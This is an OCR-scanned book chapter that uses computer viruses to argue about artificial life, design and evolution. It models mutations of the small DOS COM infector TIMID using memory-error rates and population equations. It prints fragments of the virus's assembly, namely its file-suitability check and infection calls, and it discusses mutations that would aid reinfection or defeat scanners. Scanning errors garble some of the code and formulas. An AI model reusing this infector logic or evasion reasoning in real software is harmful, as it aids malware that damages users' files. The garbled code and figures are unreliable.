In the last chapter I suggested that AL could help us formulate
atrue theory of evolution. Since this is abook about viruses, though,
you’re probably wondering why viruses should be of particular
interest to such a formulation.

As we have seen, computer viruses come very close to the ideal
of artificial life in the strong sense of something that is “actually
alive.” For all intents and purposes, they are the only artificial
organisms that have gained an existence separate from their crea-
tors.

Yet—on the face of it—computer viruses don’t conform well
to an evolutionary model. When you get a virus in your computer,
you “know” full well that somebody wrote it. It didn’t happen by
chance or arise “naturally” somehow. The virus had a creator.
Furthermore, each major type of virus was “obviously” a separate
act of creation. They did not all evolve from one basic virus. We’ve
been trained to think that way.

There is no reason they shouldn’t evolve, though. They are
genetic self-reproducing automata, and it would be absurd to say
that the fact of evolution could not apply to them. In fact, viruses
can evolve, and we’ll show that they will do so quite nicely under
the right set of circumstances.

And, as we have discussed already, viruses help us to evade the
maze of mirrors that questions about design tend to put us in.
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Designer Life

One of the great philosophical battles which has raged for
millennia is the question of design in our universe. Is our universe
aresult of design or simply a matter of chance? Was life designed?
Or did it evolve according to deterministic natural law? Darwin put
himself right in the middle of that debate. Yet he did not put an end
to it. Even if evolution were 100% scientifically established, one
could still ask the question, “Did God design the universe so that
evolution would actually work?” Did the Master Designer design
organisms to evolve, or did they just do so by chance? Did He
design the universe to spontaneously generate life? Or is there
really no intelligence behind it when all is said and done?

These are some of the most fascinating questions in the world,
and if we’re honest about it, we are all deeply interested in the
answers. All scientists work on the basis of the idea that there is
some kind of logic to the world, and sometimes the best of them
get to pick away at these deeper questions a little.

If we start asking philosophical questions like these of Artifi-
cial Life in general, the answers are disturbing. If I design a system
like Langton’s self-reproducing automaton, I’ve obviously mod-
eled some sort of special creation, and not evolution-without-de-
sign or abiogenesis. There is no “random” natural progression of
states in Langton’s universe that lead up to his automaton, and
creating it by chance appears phenomenally unlikely.! Yet if I
design a system of transition rules that causes some self-reproduc-
ing automaton to evolve out of a random configuration, I can still
be accused of playing the creator. I’ve just moved the application
of my intelligence to a deeper level. I am still not modeling
evolution-without-design, but theistic evolution—a very special
evolution carefully contrived by God.

In the last section, we discussed a “Rule Two” which we
wanted to use to discuss the difference between self-reproduction

1 Robert C. Newman, “Self-Reproducing Automata and the Origin of Life”,
Perspectives on Science and Christian Faith, Vol. 40,No 1, (March 1988) p.24.
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and physics-driven replication. Rule Two was an attempt to help
us avoid situations where the physics was driving the reproduction
in a less-than-obvious way. We have to understand that, in an
artificial universe, the physics we design can not only drive the
replication, it can drive the initial formation of life and its sub-
sequent evolution as well.

Yet if evolution is to be a real principle of nature, we should
not expect it to be a divine trick. If the laws of nature have some
phenomenally unlikely, contrived form that makes evolution work,
then evolution is nothing but a divine trick. The “divine trick” was
what got creationism in trouble. Scientifically, we might expect
evolution to be a principle that could be broadly applied in many
situations, some more favorable to it, and some less favorable, and
we’d expect our world to fall someplace along this spectrum of
possibilities. Without understanding that spectrum, we cannot even
fully understand our own world.

It would seem that AL research in general is fundamentally
unable to model an evolutionary system with no intelligence be-
hind it. The researcher always inserts his intelligence into the
equation from the very start: He designs the environment and the
rules.

Richard Dawkins’ program, The Blind Watchmaker® is the
epitome of such philosophical foolishness. He seems to actually

believe that his program blindly evolves things that look like plants,
insects, and the letters of his name.’ Yet every step of the way

2 Richard Dawkins, The Blind Watchmaker, (Longman Group, Essex,
England:1986) pp. 43-74. For name spelling, see Richard Dawkins, “The
Evolution of Evolvability”, Christopher Langton, Ed., Artificial Life (Addison
Wesley, Redwood City, California:1989) pp. 201-220.

3 Those who do not study history are doomed to repeat it. Dawkins’ “research”
reminds me of an amusing piece of foolishness: Dr. Johann B. A. Beringer was
an 18th century physician and paleontologist who collected fossils. Students
began to bring him extraordinary fossils of insects, frogs, birds, snails, etc. With
time, he discovered fossils even more incredible, “clear depictions of the sun
and moon, of stars... and lastly... magnificent tablets engraved in Latin, Arabic
and Hebrew characters with the ineffable name of Jehovah.” Although the
hoaxters tried to open Beringer’s eyes, telling him directly that it was a prank,

L3
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Dawkins is inserting his own intelligence. The rules are his intel-
ligence! So his program is anything but blind, and he’s modeling
his own peculiar flavor of special creation, not evolution.

In all fairness, avoiding putting intelligence into the equation
is harder than anyone may realize. If you play around with the
SRA LAB program on the Program Disk, you’ll find that you can
spend all day creating random rules and random configurations,
and never come up with anything interesting. And if you did, and
you started playing with it, you’d be bringing intelligence into the
equation, by making the selection of that one environment over all
the others.

At the first AL workshop in 1987 H. H. Pattee warned those
attending the conference about the philosophical dangers of trying
to create life in a computer.* The computer is a universal calcula-
tor—or universal simulator. Therefore one can potentially simulate
any quantifiable phenomenon in its bowels. One can simulate life,
or the properties of life.

One can simulate Darwinian evolution.

Likewise, one can simulate Lamarkian evolution.’

In fact, some AL researchers save simulated Lamarkian evo-
lution and shown that it can be very effectively used by artificial
organisms.® Likewise we can write a virus that incorporates La-

he was blind to it, and published a book about his findings in 1726. Then came
the day when Beringer found the greatest fossil of all: one with his own name
on it. This story is related in Willian Broad, Nicholas Wade, Betrayers of the
Truth, (Simon and Schuster, NY: 1982) p. 116.

4 H. H. Pattee “ Simulations, Realizations and Theories of Life”, Ed. Christopher
Langton, Artificial Life (Addison Wesley, Redwood City, California:1988) pp.
63-75.

5 Lamarkian evolution is the idea that if a Giraffe must stretch its neck to get
leaves at the top of trees, then this stretching will be passed directly onto its
children, and they will be born with longer necks, etc. In contrast, Darwinian
evolution is indirect. The giraffe cannot pass on a longer neck, but those with
the genes for a longer neck are presumably more likely to survive and have
children.

6 David Ackley, Michal Littman, “Interaction Between Learning and
Evolution,”, Christopher Langton et. al., Eds., Artificial Life Il (Addison
Wesley, Redwood City, California:1992) pp. 487-509.
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markian evolution. (See the LAMARK virus on the Program Disk.)
That does not mean that Lamark has been vindicated, though. There
is no physical basis for Lamarkian evolution in the real world, so
the computer simulations are without parallel in nature. As far as
real-world atoms and physics goes, the models are irrelevant.

Yet one has to ask, if Lamarkian evolution can be made
successful in an artificial world, could Darwinian evolution be
made more successful in an artificial world than it is in the real
world? Because of the universal simulating nature of a computer,
the answer is obviously “yes” as long as some kind of strong-emer-
gent phenomenon does not participate in the evolutionary process.

In fact it is not too hard to devise artificial evolutionary scenar-
ios which have no natural analog. Some of the first experiments in
open-ended evolution (as opposed to the directed evolution of a
genetic algorithm) showed that a parasite quickly evolved from an
artificial organism.’ Yet in nature parasites are not usually closely
related to their hosts. I know of no instance in which a parasite is
believed to be a direct descendant of the host. So this phenomenon,
though quite reasonable in an artificial world, has no natural
analog.

Now, if you are philosophically committed to the idea of
evolution as an omnipotent force in nature, then using a universal
simulator to design the most potent evolutionary mechanism pos-
sible is no cause for worry. Because the unspoken theory of
evolution is that of a magical and omnipotent force, any simulation
is at best on par with the world. The thought that it might end up
being better seems to have been neglected.

We are trying to make a science out of evolution, though. In so
doing, the thought that our simulation is designed to be too power-
ful is a real concern. To ignore such questions and simply design
the most powerful evolution-engine we have the ingenuity to
achieve may be missing the mark widely. That is why present-day
AL’s approach to evolution is a blunder.

7 Thomas S. Ray, “An Approach to the Synthesis of Life”, Ed. Christopher
Langton, Artificial Life II, (Addison Wesley, Redwood City, Calif:1992) pp.
371-408.
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The Virus as a Phenomenon

Using computer viruses to study evolution can help us to
sidestep these problems. The computer virus lives in a world that
was not designed to allow artificial life or viruses to form, exist, or
evolve, per se. If we study artificial life within the context of a
pre-existing operating system we cannot be accused of designing
that part to do what we want, or hiding thing in the physics. We are
not trying to create the most potent evolution-engine that we can.
No longer are we creators, studying our creation. We become
scientists, observing a phenomenon. That doesn’t mean we don’t
have to be careful about inserting our intelligence into the equation,
of course, but it does make our job easier.

Consider the possibility that we have right under our noses a
sort of second creation. We have witnessed in the past ten years
something that mankind will never be able to witness again. Never
again will operating system designers and users be so naive as to
neglect the possibility of viruses, so we will never again be able to
say that an operating system’s design is decoupled from the idea of
a self-reproducing automaton. Any deterrents you deploy will
influence the design factor. Any feature that might facilitate viruses
could have been introduced by a mischievous programmer.

Thus it seems eminently worthwhile to probe questions like
evolution and abiogenesis within this realm of primitive operating
systems and viruses.

Viruses appear to be acts of special creation by independent
intelligent beings. However, that does not preclude the possibility
that they could form spontaneously or accidentally, or that they
could evolve. We should study such questions from a purely
scientific viewpoint. What would it take for a virus to arise spon-
taneously? Could one have done so already, and we just don’t know
it? Certainly we do not know who wrote every known virus. Could
some mutations of viruses have been caused spontaneously? Could
they evolve in an open-ended fashion now that they have a start?

We will pursue this study throughout the rest of this book. In
doing so, I think you will get a better picture of this idea of a limited,
but scientific, evolution. In the world of viruses, we will find that
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evolution can be very effective at times, but that it possesses less
than a magical omnipotence. That should not be too surprising in
a world that was not designed to make evolution powerful.

I am not proposing that viruses can teach us everything we need
to know about evolution. Far from it. I think there is an important
lesson here, that we need to see and understand. The world of
viruses is far different from our world though, and we cannot
neglect that fact in the pursuit of science. Likewise, many artificial
worlds are possible. Some may allow a great deal of evolution.
Some obviously allow none. That is interesting in its own right, and
it will have to be better understood in order to develop the full-
blown theory of evolution I’d like to see. However, without a proper
perspective on evolution, we are hardly prepared to tackle the
bigger questions objectively. That perspective, I believe, we can
find in the world of viruses. They are a single, but well-developed,
example of AL, and we study them in that context, with an eye
toward tackling evolution for AL in general.



The Fact of Evolution

I would like to start our discussion of natural processes for
creating viruses with a discussion of evolution rather than a discus-
sion of beginnings. Although it might seem more sensible to start
with the beginning, we really can’t discuss that intelligently until
we understand something more of evolution. Simply put, we have
to have some idea of how evolution could affect some of the
simplest viruses to know what role it might have played in the
beginning of (viral) life. The transition between a non-reproducing
system in which evolution is irrelevant to a reproducing one where
it may be relevant is fuzzy. Therefore, a better understanding of
evolution comes first.

The ABC’s of Evolution

Let us suppose we are given two similar and very prevalent
viruses Voand V1, and we know Vo is the older of the two. We are
asked to determine whether Vi could have evolved from V without
the intervention of an outside intelligence (e.g. a virus author). How
do we go about determining this?

The first step is obviously to compare Vo and Vi and under-
stand their similarities and differences. If Vo and V| are very
different, we might expect evolution to be unlikely unless both had
a very long history, and we could document some transitional
forms. On the other hand, if they are almost identical, then evolu-
tion might make sense.

A very simple comparison of the viruses might be done by
comparing each byte, and seeing which bytes differ. That may work
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in some instances, but it can also lead us far astray. For example,
two generations of a Mutation Engine-based virus may look com-
pletely different in a byte-by-byte comparison, although they are
really the same virus. Thus, any comparison of two viruses must
be an intelligent comparison based on (a) a knowledge of how the
virus works, and (b) a knowledge of the possible mutation mecha-
nisms that might have been involved in transforming Vo into V.

Of course, that means we must understand mutation mecha-
nisms and mutation rates. If intermediate forms are called for, then
the viability of those forms also enters the calculation.

What I want to do in this chapter is quantify all of these
elementary components of the evolution of a virus, and illustrate
how they fit together in a mathematical model of evolution for a
virus. This will illustrate both the fact of evolution as a means for
change, and some of the problems that an attempt at a concrete
theory must face.

A Simple Variation

Perhaps the easiest problem of evolution one can analyze is a
simple one-bit substitution. Let’s design a concrete thought-experi-
ment along these lines so that we can consider to illustrate each
factor in the evolution of a virus. The Little Black Book of Computer
Viruses discussed a virus—TIMID—which was a small (299 byte)
COM file infector. Part of its code is a routine , which
determines whether a given file is suitable for the virus to infect or
not. If suitable, the routine returns to the caller with the Z flag set.

The code for looks like this:

FILE OK:
mov dx, OFFSET FNAME ;first open the file
mov ax, 3D02H ;r/w open file
int 21H
jc FOK_NZEND ;jerror opening file
mov bx,ax ;put file handle in bx
push bx ;and save it on the stack
mov cx,5 ;next read 5 bytes at start
mov dx,OFFSET START_ IMAGE ;and store them here
mov ah, 3FH ;DOS read function
int 21H
pop bx ;restore the file handle
mov ah, 3EH
int 21H ;and close the file

mov ax,WORD PTR [FSIZE] ;get host file size
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add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;add virus size
jc FOK_NZEND ;c set if ax overflows
cmp BYTE PTR [START IMAGE],OE9H ;is first byte jump?
jnz FOK_ZEND ;nope
cmp WORD PTR [START_IMAGE+3],4956H ;ok, is ’'VI’ there?
jnz FOK_ZEND ;no, file can be infected
FOK_NZEND:
mov al,1l BO 01 ;don’t infect this file
or al,al 08 coO ;so return with z reset
ret co
FOK_ZEND:
xor al,al ;ok to infect

ret

where the numbers to the right represent the machine language
instructions that correspond to the assembly language. Let’s call
this virus Vo. And let’s consider two mutations of Vo, V1 and V,
which differ from Vg by just one bit. V differs from Vy in that it

employs the instruction at instead of
FOK_NZEND:

mov al,17 BO 17

or al,al 08 CO

ret C3
V2, differs from Vy in that it employs an rather than an

in the next instruction after

FOK NZEND:
mov al,1 BO 17
or ax,ax 09 CO
ret C3

Other mutations of Vo will be labeled V3, V4, Vs, or Vj in general.

Let us suppose that there are 100 million personal computers
in the world, and 10 billion infectable COM files. We work very
hard to get a sample of 10,000 individuals from the world-wide
population of V¢ and all existing mutations that differ by at most 1
byte. This sample was taken 20 years after Vo was first released. In
it, we find 9961 copies of Vo, 35 copies of V1, and 4 copies of V2.

Further suppose we’ve watched the population of V( meticu-
lously, so we can determine the correct parameters for any mathe-
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matical model we might devise to describe the populations of this
family of viruses.

Now we ask: Could V; or V> have evolved from Vy?

Obviously, this is a very simple situation where the evolution
of a computer virus may be occurring. But is it? Can the fact of
evolution explain this scenario? Or is the only reasonable possibil-
ity that someone hacked the virus? And if evolution is possible, can
a concrete theory make any other predictions that we might use to
test the theory, and say “yes” it is evolution after all? Certainly,
the easy answer is to say that some virus author hacked the virus.
And the situation looks pretty black-and-white: three variants, one
old, two new, and some simple change for who knows what reason.
Certainly the knee-jerk reaction is to blame somebody for changing
it. But could something else be at work?

We are going to need three key pieces of understanding to
describe the evolutionary dynamics of Vo:

1. We need an equation to describe the population of V¢ and any
possible variants.

2. We need an understanding of what can cause mutations in this
system, and a reasonable estimate of mutation rates.

3. We have to do some analysis of the virus to determine what the
effect of various mutations would be.

With these three elements of the picture, we should be able to
analyze the behaviour of Vy in detail, and make a precise determi-
nation of whether evolution is an option.

Mutation Mechanisms

Let’s first discuss mutation mechanisms. Only an under-
standing of the mechanisms involved in causing mutations will give
us the necessary understanding of what kinds of mutations we
should consider in our equations describing populations, etc. The
mutation mechanism will also give us an idea of what kind of
mutation rate to expect. Although that mutation rate can also be
determined empirically, the connection with some kind of theory
for mutations will be valuable.
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The mutation mechanism is simply something that causes
mutations—changes in the code of a program. Two possible muta-
tion mechanisms quickly come to mind:

1. A memory error, in which a given byte was stored in a memory
location, and the next time that location was accessed, the byte
was different.

2. A disk read or write error, in which a given byte was stored to
disk, and when next read, the byte was changed.

At the lowest level, both of these mechanisms cause single bit
mutations. Both computer memory (e.g. Dynamic RAMs) and
magnetic media store data one bit at a time, not one byte at a time.
A typical computer uses Dynamic Random Access Memory chips
that are configured as 1 bit x 64 Kilobytes, or 1 bit x 1 Megabyte,
etc. Thus the individual bits of any given memory byte are not even
stored on the same chip. Even if they were, each bit is still stored
in different logic elements on the chip. Likewise, data stored on
disk is stored as a linear sequence of magnetic domains, one after
the other.

However, there are factors which can prevent single bit errors.
In the case of memory errors, most PC’s manufactured today store
data in memory using nine bits—eight bits of data and a parity bit,
although some do omit the parity bit. When a parity error occurs,
they issue a Non-maskable interrupt, which is just an Interrupt 2.
The interrupt service routine for may or may not do anything,
depending on how the BIOS is written. (See Figure 19.1) Often, it
will alert the user that a parity error occurred and force him to shut
down the system. However, in these days when cost-cutting is on
every manufacturer’s mind, many have chosen to eliminate this
unnecessary convenience.

On computers with parity checking active, a two bit error is
required to avoid being immediately caught by the hardware. That
may involve two data bits, or one data bit and one parity bit. So in
machines like this, two bit errors and one bit errors will occur in a
ratio of 7:1." The two bit errors will be more likely. However, the
errors on these systems that sneak by will be much rarer than on
systems which don’t check parity. Basically, if the probability of a
one bit error in any memory transaction is P, then a two bit error
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Normal memory with a parity bit (odd)

One bit error, parity is wrong

Two bit errors, parity is right

Figure 19.1: Memory parity errors.

1 Figure out why as an exercise!
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will occur with probability P2. Now if P<<1, which it had better be
if the computer is going to work, the two bit errors are rarer than
one bit errors by a factor P.

Errors occurring with magnetic media can be even more ob-
tuse. That is because each sector written to disk is accompanied by
a CRC to help maintain the integrity of the data. If a single bit in
the data is modified, the CRC will change, and the program which
requested the sector will be notified that the data is bad. Thus, only
errors which maintain the CRC will be viable mutations. What
those mutations are can become a very complicated function of
what data is on the disk in a sector.

Although floppy disks are quite unreliable as far as computer
components go, and they might account for a significant portion of
any mutation rate for viruses, the particular mutations we are
considering here appear to be single bit errors. For example, the
difference between and is setting bit 4 in the byte
being moved to al. Although a magnetic media error could have
caused this change, even though we don’t see the effects of it
elsewhere in the virus,? it makes sense to hypothesize a memory
error. Therefore we abandon further discussion of disk errors here.

Of one-bit memory errors, the gross majority probably occur
on systems which don’t have parity checking. If we say that a
fraction fnc of all computers don’t have parity checking, then with
about 100 million personal computers in the world, the ratio of
mutations from parity-checking machines to non-parity checking
machines is about (1-fuc)P?:fncP. Now, it’s hard to guess what fnc
is, but I wouldn’t be too surprised if it were as high as 25%, e.g.
one in four machines do not actually check parity or do anything
about such errors. Let’s concentrate on these machines a bit.

There are three different ways that an error can occur in a
memory bit:

1. When the data is written to that bit, the logic level applied to the
data lines is misinterpreted by the memory chip, and the wrong
bit is written.

2 They could be somewhere in the sector where the virus does not reside.
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2. When data is read form the memory chip, the logic level gener-
ated by it is misinterpreted by the associated circuitry.
3. Data stored in the memory chip is altered internally.

The first two possibilities could be due to several factors, e.g., (a)
electrical noise in the traces on the motherboard, (b) a malfunction-
ing power supply resulting in a marginal voltage in the circuit, (c)
because the circuitry is being used beyond its rated speed, or (d)
because some of the leads on the memory chip have oxidized and
they are not making proper contact with the socket. The third error
mechanism—an internal alteration—could be due to a defective
memory chip or controller, or even a stray cosmic ray. Normally
dynamic RAMs store data in little silicon capacitors, which need
to be periodically refreshed. If the refresh time isn’t short enough,
the chips can lose data too.

Now, in all of these possible mechanisms, we are really inter-
ested in borderline cases. A computer that is having too many
memory errors will not function. The operating system and appli-
cations programs will be quickly corrupted and the computer will
be shut down for repair immediately. Certainly viruses can mutate
in such a system provided they even get a chance to get into
memory, but if the computer is in bad shape, they won’t get that
far.

Let’s analyze just one of the failure mechanisms discussed
above to determine the mutation rate resulting from it. If you’ve
been around PCs a lot, you’ve no doubt experienced contact oxi-
dation from time to time. Typically, the computer starts acting up,
and you fix it by removing all the memory chips (or SIMMs) from
their sockets and replacing them. Now, for the sake of argument,
let’s say that one in three PCs experience this problem once every
five years. Let’s also say that they run in this condition for an
average of five days before they are shut down for repair. Normally
the problem starts out unnoticeable, but it gets worse and worse,
until the machine crashes very quickly and there is nothing you can
do with it but repair it.

Now typically, any time you are running a computer, some of
the memory is free, some contains data, or code that will not be
executed for a while, and some contains critical code that is being
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executed. A modification of this critical code will grind the com-
puter to a halt. Now, again for the sake of argument, suppose there
is 50 kilobytes of critical code in a 640 kilobyte PC. Then (640-50)
/640 = 92% of the time, an error causes no immediate harm.

If we suggest that on a given PC, the frequency of a one bit
error somewhere in system memory is Psys, and the probability of
a system crash when a random error occurs is C,, you can easily
prove the probability of a crash by time t works like radioactive
decay,

C(H) = 1 - exp(-CoPyyst) 19.1

So essentially, the computer has a half-life, t;. If the half-life is
30 minutes, the computer will be somewhat annoying, but not
unuseable. So let’s suppose the system stays in this condition for 5
days with a 30 minute half-life. We can solve equation 19.1 quickly
to determine Psys, the memory error rate:

sys = (In 2)/Cot"? =5 x 107 / sec 19.2

e.g., there is an error about once every three minutes. The error rate
for a specific bit is then

bit = Psys / (640 x 1024 x 8) =1 10/ second 19.3

So if Vg is in memory for about a second when it executes (pretty
typical), the chances of it mutating into Vi when it reproduces on
this system are about 1 in a billion. That’s not too likely. However,
this number is about as big as a specific mutation rate for a living
cell, so we should not be too very discouraged.

Suppose Vo replicates M times on any given day. How many
mutations can we expect? Since Vo is 299 bytes long, and each byte
admits 8 one-bit mutations, we are interested in a total of 2392
possible mutations of Vo, of which V; is only one. Of the M
replications, Mfnc occur on computers with no parity checking. Of
the computers with no parity checking 1/3 are subject to contact-
oxidation failure. Therefore, at any given time,
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fne X (1/3) x (5 days / 5 years) =2.3 10 19.4

of all the personal computers, or about 23,000 computers, will be
in a state where the mutation rate is high, due to contact oxidation
failure. The possibility of a mutation will then be

M % (2.3 x 107) X (ppip) X 2392 =M x 5.5 x 10°1° 19.5

The next step is to take a mutation rate like this, and work it into
some equations to describe the populations of Vo and V.

The Population Equations

Let’s first describe the population of Vo using a differential
equation. Once we have an understanding of the non-mutating
virus, we can add mutations in and see what happens to the
equations. In the absence of anti-viral measures, we might write a
very simple population equation for Py, the population of Vy, as
follows:

dPy/dt = K + o(N-Pg)/N)P, 19.6

(If these kinds of equations are mystifying, please see Appendix D:
Solving Differential Equations for a better understanding of them.)
The derivative on the left is the rate of change of Pg with respect to
time. The constant K on the right is the contribution to Py due to
the fact that about K new copies of Vyp are being created and
distributed in a given period of time by the publishers of the Black
Book, and other legitimate and illegitimate organizations. The term

((N-Py)/N)P, 19.7
is the reproductive term, which can be rewritten as

Py - (0/N)Py? 19.8
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The first term in the expansion is due to the simple reproductive
multiplication of the virus, and it causes the population to follow
the familiar exponential “ population explosion” curve. The second
part is a population saturation term. N is the total number of
infectable programs in the virus’ universe. As the virus gets to the
point where it has infected just about every program it can, repro-
duction eventually slows and ceases—each execution of the virus
is less and less likely to find an infectable host. Mathematically,
this is modeled by the above two terms cancelling each other out
as Po—~N. o is a “fertility factor” for the virus, which measures
how many times it can reproduce in a given increment of time.

So far, we have ignored any anti-viruses which might destroy
Vo. In such a situation, the virus does not “die”. Every individual
ever created continues in existence indefinitely. The anti-virus adds
another term to our equation so that it becomes:

dP()/dt =K+ ((N-P())/N)PO - PO 19.9

where [3 is a measure of the effectiveness of the anti-virus. Gener-
ally 3 depends on the fraction of systems on which the anti-virus
is deployed, and the frequency with which the anti-virus is run to
clean up potentially infected systems. Although this equation for
Py is very much simplified, it is capable of displaying most of the
characteristic behaviour of a population that we would expect with
a more accurate equation. At the very least, a more accurate model
would have to note that K, N, o and [3 could be functions of time,
and P¢ and all of the other variables should be functions of location
as well as time. For example, there will be areas where the popu-
lation of the virus is saturated, while other areas have yet to see the
first example; in some places, the anti-virus will be very popular,
and in others it will not. Researchers have not come up with any
accurate models to describe the spread of computer viruses. We
need not dwell on such details here, as they are not truly fundamen-
tal to the evolutionary processes we are interested in. Our goal right
now is to illustrate how evolution can be mathematically described.

A typical example of the behavior of Py as a function of time
is plotted in Figure 19.2. Notice that just using this equation, we
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can understand a lot about the infectivity of V. For example, the
population of Vo will saturate out to a value of roughly

Py(0) = N(1 - (/1)) 19.10

If users are sufficiently afraid of Vy, [> will be large enough that P
could become extinct (Po<0). If they are not so cautious, Py will
saturate to keep a certain ratio of all possible files infected all the
time, despite the anti-virus.

The Effect of Mutations

The next step in our analysis of Vo’s evolution is to understand
how mutations will affect it. Since V| and V; are only a one-bit
modifications of Vg, we will only concern ourselves with one-bit
modifications of Vo, of which there are 2392 possibilities, as we
have already discussed, each of which has an equal chance of
occurrence.

Population, Billions
O =2 PNWAAOTONX OO

0 4 8 12 16 20
Years
Figure 19.2: P as a function of time.
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It is entirely possible to go through the virus byte-by-byte and
determine the effect of every conceivable mutation. Let me give
you an example: The startup code for the virus takes the form:

The call is encoded as E8 00 00. What would happen if one of these
three bytes were modified in any way?

A little investigation reveals that this is a critical section of
code. Basically, three things have to happen here for the virus to
work properly:

1. The call has to put the absolute offset of on the stack,
which ends up landing in

2. The stack pointer must end up just below ,and

3. Thesubat must adjust to properly locate

the start of the virus in memory.

If any of these three things fails to occur, the virus will be incapable
of reproducing. The first place where all of these factors must come
together is when the subroutine is first called. If it does
not properly give the DOS search function a pointer to the string
“ ” inthe virus, DOS will not be able to find any files to infect.
Thus, the mutation will be sterile, and that will be the end of it.
Now, with this in mind, let us look at what modifying the E8
00 00 will do. If we change the ES8 to anything besides ES, it is no
longer a near call. As such, the stack will not be right, and the
address in will be wrong. Thus, modification of E8
leads only to sterility. Modifying the two zeros which follow E8
will cause the call to transfer control to a different location. If that
location is beyond the end of the main control routine for the virus,
then the best we can hope for is that the called code will execute a
return and allow control to come back to .
will properly modify the address at but is
no longer on the stack! So when is called,
gets wiped out, and cannot find a file to infect. More
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likely, the called code will not return to , but will just
crash the machine instead. If control is transferred anywhere in the
main control routine of the virus except to , then

will not be properly adjusted, and the virus will not be
able to find a new host. In this way, we have just proved that 24
different possible mutations will all be sterile.

In the same way, we could go through every byte of the virus,
and determine what the effect of a mutation in that site would be.
Obviously this is a tedious process, but it is much easier than with
a living organism! Emergent behaviour does not frustrate such an
analysis here. We will not pursue this analysis in all of its gory
details. That might be fitting for a dissertation or something, but I
do not want to bore you with a hundred more paragraphs like the
above.

In the end, most mutations of the virus will leave it sterile.
Some, however, are of no particular benefit or harm. V; is an
example of such a mutation, along with 6 others just like it, that
modify different bits (not the 0 bit) in the instruction. There
are other sites which allow a more limited change that results in a
neutral mutation. For example, modifying

FOK_NZ END:

mov al,1
or al,al 08 CO
ret

to

FOK_NZ END:

mov al,l
or ax,ax 09 CO
ret

will work just as well. This is our V2 virus. Finally, some mutations
could actually be beneficial to the virus in the sense that they will
either increase 0 or decrease [3 in the population equation. For
example, consider the startup code:
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GET START:

call FIND FILE

inz EXIT VIRUS

call INFECT
If the jnz (Hex 75) after the call to mutates to something
that will not jump (or will not jump as often) yet will allow the call
to to proceed, the mutation can be beneficial from a neo-
Darwinian standpoint.

As long as succeeds in finding an acceptable host,

such a proposed mutant will behave just like Vo. However, in the
absence of an uninfected host, the mutant will reinfect the last COM
file in the directory. That isn’t too pretty—and it can be annoying,
but when that file gets moved into a clean system, it will then infect
multiple files every time it is run. The result is that the mutant can
replicate a little faster than the original in some situations. The
down side, of course, is that the multiply infected file may grow so
large that it will fail to load. Then the user will realize something
is wrong, run his anti-virus, and wipe out every infection in the
computer. From an evolutionary point of view, this may be a
beneficial mutation, after the pros and cons of it are added up.
Butare any such mutations possible with only a one bit change?
Certainly they are. For example, the mutation 75 — F5 will turn the
into a / , which causes no harm, and
successfully averts the jump. Likewise, mutations to 77 and 71
should fare better, while mutations to 74, 7D, 55 and 35 will be
harmful, and 65 will be either neutral or harmful, depending on
whether you’re running on a 386 or not.>

3 74=jz, 77=ja, 71=jno, 7D=jge, 55=push bp, 35=xor ax, WW, F5=cmc, 65=386
gs segment override.
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Another beneficial mutation could occur in the event that the
anti-virus attacks Vo using scanning, among other techniques. Then
amodification that disrupted the scan string would decrease [ since
scanning would no longer be viable. This would allow the individ-
ual Vg to live longer on the average, and make more copies of itself.

Modifying the Population Equations

Ok, so far we’ve written down some population equations for
Vo, and we’ve examined mutation mechanisms, and looked at what
simple mutations might do. The next step is to incorporate our
understanding of mutations into a mathematical framework to
describe the population of V¢ and its mutations.

To do that, let us invent a number ¢, 0<e<1, to denote the
mutation rate. What this number means is that in one generation of
the virus, a single byte in that virus has an € chance of being mutated
into another specific value.

Now, in one generation of a virus, any byte has an 8 x € chance
of mutating into some other value by way of a single bit mutation.
If the virus is S bytes long, then there is an S x 8¢ (for small €)
chance that it will suffer some mutation during a single replication.
That changes equation 19.9 to

dPy/dt = K + ci((N-2P;)/N)(1-85¢)Py - [*Pg 19.11a

In essence, this just says that a little of Py is drained off because of
mutations. The mutation term (1-8S¢) is part of the reproduction
term because mutations occur when the virus reproduces (e.g. when
it is in memory). The N-Py in equation 19.9 has also been replaced

by N-2P; since if a file is infected by Vj, Vo will stay away from
it, unless one of the ID bytes which Vg uses to recognize itself is
modified. As long as the P;’s are small, the only significant term in
the summation is Pop anyhow.

One would expect that there ought to be a population equation
for each of the 8S possible mutations, and a number P; to tell us
what the population of Vj is at any given instant of time. These
equations will be of the form
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dPy/dt=cij((N-P;)/N)P; - [5P} + £(N-2P;)/N)Pg 19.11b
where, generally, 0 and [3j are different from o and

We do not take into account the contribution from reverse
mutations, or the contribution from secondary mutations. If Vo
mutates into Vj, and the population of V; increases significantly,
we should not be too surprised if Vj mutates back into Vo. At a
microscopic level, all mutations should be reversible. More likely,
though, V; will mutate into something entirely new. Building
mutations into large change will be the subject of the next chapter.

Before using our population equations, a word of caution is in
order. Since ¢ is a small number, the population is going to be
subject to a high degree of statistical uncertainty. In any given time
increment, there will be some probability that a mutation Vo V;
will occur. If a successful mutation occurs, the new virus will
reproduce and drive the population sky high. However, if the
mutation does not occur, the population will be zero. Equations like
19.11Db give an accurate picture of the average population, but they
tell us nothing about the uncertainties involved. As such, we have
to introduce a stochastic model which assigns a probability to each
possible population of V;j at any given time. This approach is
discussed in Appendix E, and used to prove that our equations
19.11b are indeed valid for average populations. Here we will
satisfy ourselves only with looking at some of the results obtained
from this stochastic model.

We are interested in two types of mutations: sterile, with 0=0,
and live, with 0;>0. For sterile mutations it can be shown that under
steady state conditions where the population of Vo and the sterile
mutations has stabilized, the population of V;j is a very small
constant value,

P; = £aPy(N-Po)/N Py(N-Po)/N 19.12

Generally this is a very small number since € is small, but it has a
large variation too. A population of 0 is thus very likely.
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The case where Vj can reproduce (0;>0) is more interesting. At
first, we might want to ask, to what extent 19.11b is valid. Just how
large are the uncertainties? To illustrate this, some typical plots of
the probability for finding a certain number of V;’s at given times
are plotted in Figure 19.3. Notice how, for example, at t=2000 days
the highest probability is for a population of 0, but there is a very
long tail on the distribution, so even a population of 30 individuals
is not horendously unlikely (about 1/100th the probability for 0).
When the population is small, equation 19.11b can’t tell us a whole
lot about the probability of finding 5 versus 10 copies of Vj in the
population. It just gives us an average. However, once the popula-
tion starts to grow, equation 19.11b becomes more and more useful.

Putting it All Together

Now we have all the tools we need to discuss the question posed
at the beginning of the chapter: Is it reasonable to suggest that V;
or V3 could have evolved from V(?
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Figure 19.3: Population of virus mutations.
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First, we must define our thought experiment a little better.
Let’s make some final simplifying assumptions:

1. We’ve studied the various mutations of V and found eleven that
will be neutral or beneficial. Let’s suppose there will be a total
of 20 possible mutations that will be neutral or beneficial, and
the rest (2372) will result in sterility.

